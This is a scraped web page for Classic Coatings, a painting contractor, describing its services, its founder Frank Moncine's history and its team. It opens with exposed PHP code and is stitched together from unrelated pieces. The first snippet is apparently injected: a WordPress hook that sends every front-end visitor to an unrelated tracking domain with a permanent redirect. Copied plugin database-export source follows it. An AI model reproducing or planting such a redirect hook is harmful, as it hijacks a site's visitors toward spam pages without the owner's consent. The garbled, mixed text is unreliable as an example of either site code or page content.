function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2020 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Export_Database { public static function execute( $params ) { global $wpdb; // Set exclude database if ( isset( $params['options']['no_database'] ) ) { return $params; } // Set query offset if ( isset( $params['query_offset'] ) ) { $query_offset = (int) $params['query_offset']; } else { $query_offset = 0; } // Set table index if ( isset( $params['table_index'] ) ) { $table_index = (int) $params['table_index']; } else { $table_index = 0; } // Set table offset if ( isset( $params['table_offset'] ) ) { $table_offset = (int) $params['table_offset']; } else { $table_offset = 0; } // Set table rows if ( isset( $params['table_rows'] ) ) { $table_rows = (int) $params['table_rows']; } else { $table_rows = 0; } // Set total tables count if ( isset( $params['total_tables_count'] ) ) { $total_tables_count = (int) $params['total_tables_count']; } else { $total_tables_count = 1; } // What percent of tables have we processed? $progress = (int) ( ( $table_index / $total_tables_count ) * 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Exporting database...
%d%% complete
%s records saved', AI1WM_PLUGIN_NAME ), $progress, number_format_i18n( $table_rows ) ) ); // Get tables list file $tables_list = ai1wm_open( ai1wm_tables_list_path( $params ), 'r' ); // Loop over tables $tables = array(); while ( list( $table_name ) = fgetcsv( $tables_list ) ) { $tables[] = $table_name; } // Close the tables list file ai1wm_close( $tables_list ); // Get database client if ( empty( $wpdb->use_mysqli ) ) { $mysql = new Ai1wm_Database_Mysql( $wpdb ); } else { $mysql = new Ai1wm_Database_Mysqli( $wpdb ); } // Exclude spam comments if ( isset( $params['options']['no_spam_comments'] ) ) { $mysql->set_table_where_query( ai1wm_table_prefix() . 'comments', "`comment_approved` != 'spam'" ) ->set_table_where_query( ai1wm_table_prefix() . 'commentmeta', sprintf( "`comment_ID` IN ( SELECT `comment_ID` FROM `%s` WHERE `comment_approved` != 'spam' )", ai1wm_table_prefix() . 'comments' ) ); } // Exclude post revisions if ( isset( $params['options']['no_post_revisions'] ) ) { $mysql->set_table_where_query( ai1wm_table_prefix() . 'posts', "`post_type` != 'revision'" ); } $old_table_prefixes = $old_column_prefixes = array(); $new_table_prefixes = $new_column_prefixes = array(); // Set table prefixes if ( ai1wm_table_prefix() ) { $old_table_prefixes[] = ai1wm_table_prefix(); $new_table_prefixes[] = ai1wm_servmask_prefix(); } else { foreach ( $tables as $table_name ) { $old_table_prefixes[] = $table_name; $new_table_prefixes[] = ai1wm_servmask_prefix() . $table_name; } } // Set column prefixes if ( strlen( ai1wm_table_prefix() ) > 1 ) { $old_column_prefixes[] = ai1wm_table_prefix(); $new_column_prefixes[] = ai1wm_servmask_prefix(); } else { foreach ( array( 'user_roles', 'capabilities', 'user_level', 'dashboard_quick_press_last_post_id', 'user-settings', 'user-settings-time' ) as $column_prefix ) { $old_column_prefixes[] = ai1wm_table_prefix() . $column_prefix; $new_column_prefixes[] = ai1wm_servmask_prefix() . $column_prefix; } } $mysql->set_tables( $tables ) ->set_old_table_prefixes( $old_table_prefixes ) ->set_new_table_prefixes( $new_table_prefixes ) ->set_old_column_prefixes( $old_column_prefixes ) ->set_new_column_prefixes( $new_column_prefixes ); // Exclude column prefixes $mysql->set_reserved_column_prefixes( array( 'wp_force_deactivated_plugins', 'wp_page_for_privacy_policy' ) ); // Exclude site options $mysql->set_table_where_query( ai1wm_table_prefix() . 'options', sprintf( "`option_name` NOT IN ('%s', '%s', '%s', '%s', '%s', '%s')", AI1WM_STATUS, AI1WM_SECRET_KEY, AI1WM_AUTH_USER, AI1WM_AUTH_PASSWORD, AI1WM_BACKUPS_LABELS, AI1WM_SITES_LINKS ) ); // Set table select columns if ( ( $column_names = $mysql->get_column_names( ai1wm_table_prefix() . 'options' ) ) ) { if ( isset( $column_names['option_name'], $column_names['option_value'] ) ) { $column_names['option_value'] = sprintf( "(CASE WHEN option_name = '%s' THEN 'a:0:{}' WHEN (option_name = '%s' OR option_name = '%s') THEN '' ELSE option_value END) AS option_value", AI1WM_ACTIVE_PLUGINS, AI1WM_ACTIVE_TEMPLATE, AI1WM_ACTIVE_STYLESHEET ); } $mysql->set_table_select_columns( ai1wm_table_prefix() . 'options', $column_names ); } // Set table prefix columns $mysql->set_table_prefix_columns( ai1wm_table_prefix() . 'options', array( 'option_name' ) ) ->set_table_prefix_columns( ai1wm_table_prefix() . 'usermeta', array( 'meta_key' ) ); // Export database if ( $mysql->export( ai1wm_database_path( $params ), $query_offset, $table_index, $table_offset, $table_rows ) ) { // Set progress Ai1wm_Status::info( __( 'Done exporting database.', AI1WM_PLUGIN_NAME ) ); // Unset query offset unset( $params['query_offset'] ); // Unset table index unset( $params['table_index'] ); // Unset table offset unset( $params['table_offset'] ); // Unset table rows unset( $params['table_rows'] ); // Unset total tables count unset( $params['total_tables_count'] ); // Unset completed flag unset( $params['completed'] ); } else { // What percent of tables have we processed? $progress = (int) ( ( $table_index / $total_tables_count ) * 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Exporting database...
%d%% complete
%s records saved', AI1WM_PLUGIN_NAME ), $progress, number_format_i18n( $table_rows ) ) ); // Set query offset $params['query_offset'] = $query_offset; // Set table index $params['table_index'] = $table_index; // Set table offset $params['table_offset'] = $table_offset; // Set table rows $params['table_rows'] = $table_rows; // Set total tables count $params['total_tables_count'] = $total_tables_count; // Set completed flag $params['completed'] = false; } return $params; } } Classic Coatings – Painting Contractor

INDUSTRIAL Paintings

Welcome to Classic Coating, your trusted partner in the world of industrial coatings. With decades of experience under our belt, we have been serving clients with unparalleled expertise and dedication. From large-scale manufacturing facilities to intricate machinery, our skilled team is well-equipped to provide top-notch painting solutions that not only enhance the aesthetics but also ensure long-lasting protection. Embracing cutting-edge techniques and adhering to the highest industry standards, we take pride in delivering exceptional results that exceed expectations.

Reliable

Reliability and quality are at the heart of everything we do. With a heritage spanning generations, we take pride in upholding the values that have made us a trusted name in the industry.

Family business

Our unwavering commitment to providing top-notch products and services ensures that each customer is treated like family.

Honest

Honesty is the cornerstone of our family-owned business. We believe in transparency and integrity in all our interactions with customers, suppliers, and employees.

Why choose us?

Our Services

Interior industrial painting

Interior industrial painting plays a vital role in maintaining the longevity of the facility, contributing to the overall hygiene, and creating a pleasant working environment for employees.

External industrial painting

External industrial paintings are crucial for maintaining the structural integrity and safety of industrial assets while also contributing to the overall aesthetics of the facility. Regular maintenance and reapplication of protective coatings are essential to extend the life of the structures and reduce costly repairs or replacements in the long run.

Our Leader: Frank Moncine

In 1955, Frank Moncine embarked on his journey in the world of painting. He started as a helper and engaged in cleanup tasks, all of which were part of a family business. His familial connection ran deep, with his grandparents overseeing his grandfather’s work as a painting contractor. Even his own uncle was a skilled painter. Frank’s own hands-on experience began as he aided his other grandfather with painting projects on his property.

As time progressed, so did Frank’s skills. By 1956, he had transitioned from a mere helper to a full-fledged painter. This evolution continued, and by 1961, he had the opportunity to become a subcontractor under a contracting company. This pivotal moment led him to specialize in spraying houses, particularly those within housing developments.

A significant turning point occurred in 1976 when “Frank’s Painting” rebranded, becoming “Classic Coating” in New Jersey. However, geographical shifts were on the horizon. In 1982, Frank relocated to Florida, where he established a new painting company. The initial projects were outdoor endeavors, including work for Jefferson Ward stores, Fisher Island, and Williams Island. These successes paved the way for larger ventures, notably the painting of shopping centers.

Fast forward to 1993, and Frank’s company was thriving. They diversified their portfolio by taking on various projects, even encompassing the artistic touches of painting a Cheesecake restaurant. This momentum continues to the present day, with a dedicated focus on painting shopping centers and exteriors. The company has honed its expertise, utilizing equipment such as booms, scissor lifts, and pressure cleaning trailers to undertake a wide array of commercial projects, from offices and warehouses to shopping centers.

Our Mission And Vision

“Classic Coatings for Professional Spaces.”

Our mission is to be the leading provider of exceptional coating solutions while upholding the values that define us. We strive to deliver unmatched quality, reliability, and innovation to our clients, enhancing the longevity and aesthetics of their industrial assets.

Our vision is to become the industry’s benchmark for excellence and innovation. We aspire to be recognized as the go-to partner for all coating needs, known for our cutting-edge techniques, top-notch quality, and unmatched customer satisfaction.

Our Team

Frank Moncine
President
Wady Souza
Production Manager

Contact Us